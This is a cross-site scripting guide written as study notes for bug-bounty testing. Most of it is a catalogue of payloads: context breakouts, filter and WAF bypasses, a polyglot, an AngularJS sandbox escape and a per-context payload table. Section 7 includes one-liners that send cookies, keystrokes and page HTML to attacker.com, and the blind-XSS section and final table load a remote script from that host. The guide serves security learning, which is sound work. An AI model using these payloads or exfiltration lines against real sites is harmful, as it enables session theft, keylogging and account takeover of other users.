Deep Complete XSS Master Guide

This guide contains detailed professional notes on Cross-Site Scripting (XSS), including browser parsing, payload crafting, DOM XSS, CSP bypasses, filter bypasses, framework-based XSS, bug bounty methodology, advanced payloads, and professional exploitation techniques.

1. Introduction to XSS

```
Cross-Site Scripting (XSS) is a web application vulnerability where attacker-controlled
JavaScript executes inside another user's browser.

The main goal of XSS is:
Escape current context → Enter JavaScript context → Execute code

Attacker Goals:
• Session hijacking
• Cookie theft
• Keylogging
• Phishing
• Account takeover
• Browser exploitation
• CSRF chaining
• Admin takeover
• Data exfiltration

XSS exists because:
• User input is reflected unsafely
• HTML is parsed by browsers
• JavaScript execution becomes possible
```

---

2. Types of XSS

```
Reflected XSS:
Payload comes directly from the request.

Example:
/search?q=<svg onload=alert(1)>

Stored XSS:
Payload is stored in database and executes later.

Example:
Comment sections
Support tickets
Admin panels

DOM XSS:
JavaScript processes attacker-controlled data.

Example:
document.body.innerHTML = location.hash

Blind XSS:
Payload executes later in admin systems.

Mutated XSS:
Browser repairs malformed HTML and still executes payload.
```

---

3. Understanding Contexts

```
XSS payloads depend entirely on context.
HTML Context:
```

```
<div>INPUT</div>

Payload:
<svg onload=alert(1)>

Attribute Context:
<input value="INPUT">

Payload:
" onfocus=alert(1) autofocus x="

JavaScript Context:
var x="INPUT";

Payload:
";alert(1);//

URL Context:
<a href="INPUT">

Payload:
javascript:alert(1)

Comment Context:
<!-- INPUT -->

Payload:
--><svg onload=alert(1)>

Textarea Breakout:
</textarea><svg onload=alert(1)>

Title Breakout:
</title><svg onload=alert(1)>
```

---

4. Browser Parsing Behavior

```
Browsers automatically repair malformed HTML.

Example:
<><img src=x onerror=alert(1)>

The browser may:
• Close broken tags
• Auto-correct syntax
• Exit existing parsing states

This behavior creates:
• WAF bypass opportunities
• Filter bypasses
• Mutation-based XSS

Professional hunters heavily rely on browser parsing behavior.
```

---

5. Dangerous Sources and Sinks

```
Common Sources:
location.search
location.hash
document.URL
window.name
localStorage
sessionStorage
postMessage

Dangerous Sinks:
innerHTML
outerHTML
document.write()
eval()
```

```
Function()
setTimeout()
setInterval()
insertAdjacentHTML()

Safe Alternative:
textContent
```

---

6. Important Event Handlers

```
Auto-trigger Events:
onload
onerror
onfocus
onanimationstart
onpageshow

User Interaction Events:
onclick
onmouseover
onmouseenter
ondblclick
oncontextmenu

Keyboard Events:
onkeydown
onkeypress
onkeyup

Mobile Events:
ontouchstart
ontouchmove
```

---

7. Common XSS Payloads

```
Basic Script:
<script>alert(1)</script>

IMG onerror:
<img src=x onerror=alert(1)>

SVG onload:
<svg onload=alert(1)>

Autofocus Payload:
<input autofocus onfocus=alert(1)>

Iframe Payload:
<iframe src=javascript:alert(1)>

Cookie Theft:
fetch("https://attacker.com?c="+document.cookie)

Keylogger:
document.onkeypress=function(e){
fetch("https://attacker.com?k="+e.key)
}

DOM Stealing:
fetch("https://attacker.com?d="+document.body.innerHTML)
```

---

8. DOM XSS Deep Dive

```
DOM XSS occurs when client-side JavaScript takes attacker-controlled input
and places it into dangerous sinks.
```

```
Example:
document.body.innerHTML = location.hash

Payload:
#<svg onload=alert(1)>

Dangerous DOM Patterns:
eval(location.hash)
document.write(location.search)
setTimeout(userInput)

postMessage Vulnerability:
window.addEventListener("message",(e)=>{
eval(e.data)
})

Attack:
window.postMessage("alert(1)","*")
```

---

9. Filter Bypass Techniques

```
Case Manipulation:
<ScRiPt>alert(1)</ScRiPt>

Encoding:
%3Cscript%3Ealert(1)%3C/script%3E

Double Encoding:
%253Cscript%253E

Unicode:
\u0061lert(1)

Newline Injection:
<img src=x
onerror=alert(1)>

Null Byte:
%00

Malformed HTML:
<><img src=x onerror=alert(1)>

Nested Tags:
<svg><script>alert(1)</script>
```

---

10. Polyglot Payloads

```
Polyglot payloads work across multiple contexts simultaneously.

Example:
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Used for:
• Advanced WAF bypass
• Browser parser confusion
• Multi-context execution
```

---

11. Content Security Policy (CSP)

```
CSP restricts JavaScript execution.

Example:
Content-Security-Policy: script-src 'self'
```

```
CSP blocks:
• Inline scripts
• External attacker scripts
• eval()

Common CSP bypasses:
• JSONP endpoints
• Trusted CDN abuse
• AngularJS sandbox escape
• Nonce reuse
```

---

12. Framework-Based XSS

```
React:
Dangerous feature:
dangerouslySetInnerHTML

AngularJS:
{{constructor.constructor('alert(1)')()}}

Vue:
v-html

jQuery:
.html()

Modern frameworks reduce XSS risk but dangerous rendering functions still exist.
```

---

13. Blind XSS

```
Blind XSS occurs when the payload executes later in another user's session.

Common Targets:
• Admin panels
• Support dashboards
• Log viewers
• Ticket systems

Payload:
<script src=https://attacker.com/x.js></script>

Used heavily in:
• Bug bounty
• Red team operations
```

---

14. Advanced JavaScript Payloads

```
Constructor Payload:
[].filter.constructor('alert(1)')()

setTimeout Payload:
setTimeout('alert(1)')

Optional Chaining:
alert?.(1)

Function Constructor:
Function('alert(1)')()

These payloads help bypass filters and WAFs.
```

---

15. Professional Bug Bounty Workflow

```
Step 1: Find Reflection
Inject harmless string:
xss123

Step 2: Inspect Source
Check:
• HTML
• Attribute
• JavaScript
• URL

Step 3: Identify Context

Step 4: Test Breakouts
"
'
</
-->

Step 5: Test Events
onload
onerror
onfocus

Step 6: Bypass Filters

Step 7: Escalate Impact
```

---

16. Real-World Attack Scenarios

```
Scenario 1:
Stored XSS in admin dashboard leads to admin takeover.

Scenario 2:
DOM XSS steals CSRF tokens.

Scenario 3:
Blind XSS executes inside support portal.

Scenario 4:
WAF bypass using malformed SVG payload.

Scenario 5:
XSS chained with CSRF to change account email.
```

---

17. Professional Testing Checklist

```
Check Parameters:
search
redirect
callback
message
comment
bio
query
url
next

Check Features:
• Search bars
• Markdown renderers
• Chat systems
• Comment systems
• File upload names
• PDF viewers
• Analytics dashboards
```

- Admin portals

---

18. Golden Rules of XSS

1. Payload depends completely on context.
2. Understand browser parsing.
3. XSS = Escape + Execute.
4. Most professionals reuse small payload sets.
5. Browser DevTools are extremely important.
6. Always inspect reflections carefully.
7. DOM XSS is extremely common in modern applications.
8. CSP changes payload strategy significantly.

---

19. Best Payloads by Context

Context	Recommended Payload
HTML	<svg onload=alert(1)>
Attribute	" onfocus=alert(1) autofocus x="
JavaScript	';alert(1);//
Textarea	</textarea><svg onload=alert(1)>
Title	</title><svg onload=alert(1)>
DOM	#<svg onload=alert(1)>
Blind XSS	<script src=//attacker.com/x.js></script>

These notes are for educational purposes and legal security testing only. Always practice in labs, CTFs, or environments where you have authorization. Understanding browser parsing and context-based payload crafting is the key to mastering XSS.